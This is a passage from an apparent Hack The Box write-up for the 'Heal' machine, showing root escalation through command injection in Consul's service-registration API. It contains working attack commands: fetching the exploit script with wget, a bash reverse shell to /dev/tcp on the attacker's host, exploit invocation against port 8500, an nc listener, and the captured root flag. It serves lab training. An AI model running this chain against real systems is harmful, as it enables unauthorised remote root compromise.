root 1019 0.3 2.5 1357156 101084 ? Ssl 19:09 0:05 /usr/local/bin/consul agent -server -ui -advertise=127.0.0.1 -bind=127.0.0.1 -data-dir=/var/lib/consul -node=consul-01 -config-dir=/etc/consul.d
[...]
- Google :
consul exploit
The vulnerability exists in the
ServiceID
parameter of thePUT /v1/agent/service/register
API endpoint. TheServiceID
parameter is used to register a service with the Consul agent. TheServiceID
parameter is not sanitized and allows for command injection
POC - https://github.com/owalid/consul-rce
Download and host the exploit file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ cd exploit
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit]
└─$ git clone https://github.com/owalid/consul-rce
Cloning into 'consul-rce'...
remote: Enumerating objects: 7, done.
remote: Counting objects: 100% (7/7), done.
remote: Compressing objects: 100% (6/6), done.
remote: Total 7 (delta 0), reused 4 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (7/7), done.
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit]
└─$ cd consul-rce
┌──(bravosec㉿fsociety)-[~/htb/Heal/exploit/consul-rce]
└─$ PORT="80"; fuser -k "$PORT/tcp" 2>/dev/null; simplehttpserver -listen "0.0.0.0:$PORT"
26187
_____ _ __ __ __________________
/ ___/(_)___ ___ ____ / /__ / / / /_ __/_ __/ __ \________ ______ _____ _____
\__ \/ / __ -__ \/ __ \/ / _ \/ /_/ / / / / / / /_/ / ___/ _ \/ ___/ | / / _ \/ ___/
___/ / / / / / / / /_/ / / __/ __ / / / / / / ____(__ ) __/ / | |/ / __/ /
/____/_/_/ /_/ /_/ .___/_/\___/_/ /_/ /_/ /_/ /_/ /____/\___/_/ |___/\___/_/
/_/ - v0.0.6
projectdiscovery.io
Serving /home/kali/htb/Heal/exploit/consul-rce on http://0.0.0.0:80/
1
2
3
4
5
6
7
8
9
10
ron@heal:~$ wget http://10.10.14.87/consul_rce.py -O /dev/shm/x.py
--2024-12-19 19:47:51-- http://10.10.14.87/consul_rce.py
Connecting to 10.10.14.87:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2178 (2.1K) [text/x-python]
Saving to: ‘/dev/shm/x.py’
/dev/shm/x.py 100%[===================================================================================================================>] 2.13K --.-KB/s in 0s
2024-12-19 19:47:51 (214 MB/s) - ‘/dev/shm/x.py’ saved [2178/2178]
Start reverse shell listener
1
2
3
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
- Port
8500
from the command example exists on the machine, try that one
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ron@heal:~$ ss -ltnp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 244 127.0.0.1:5432 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 511 127.0.0.1:3000 0.0.0.0:*
LISTEN 0 1024 127.0.0.1:3001 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8302 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8300 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8301 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8600 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8503 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:8500 0.0.0.0:*
LISTEN 0 128 [::]:22 [::]:*
1
2
3
4
ron@heal:~$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.87/1111 0>&1"' > /dev/shm/x.sh
ron@heal:~$ python3 /dev/shm/x.py -th 127.0.0.1 -tp 8500 -c 'bash /dev/shm/x.sh'
[+] Check kxcafhwnqvffedb created successfully
[+] Check kxcafhwnqvffedb deregistered successfully
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ nc -lvnp 1111
listening on [any] 1111 ...
connect to [10.10.14.87] from (UNKNOWN) [10.10.11.46] 33760
bash: cannot set terminal process group (1959): Inappropriate ioctl for device
bash: no job control in this shell
root@heal:/# /usr/bin/script -qc /bin/bash /dev/null
/usr/bin/script -qc /bin/bash /dev/null
root@heal:/# ^Z
zsh: suspended nc -lvnp 1111
┌──(bravosec㉿fsociety)-[~/htb/Heal]
└─$ stty raw -echo;fg
[1] + continued nc -lvnp 1111
export TERM=xterm
root@heal:/# stty rows 50 columns 209
root@heal:/# id
uid=0(root) gid=0(root) groups=0(root)
root@heal:/# cat /root/root.txt
4f56523929f7fb5a2817fb0e0c42d982
root@heal:/#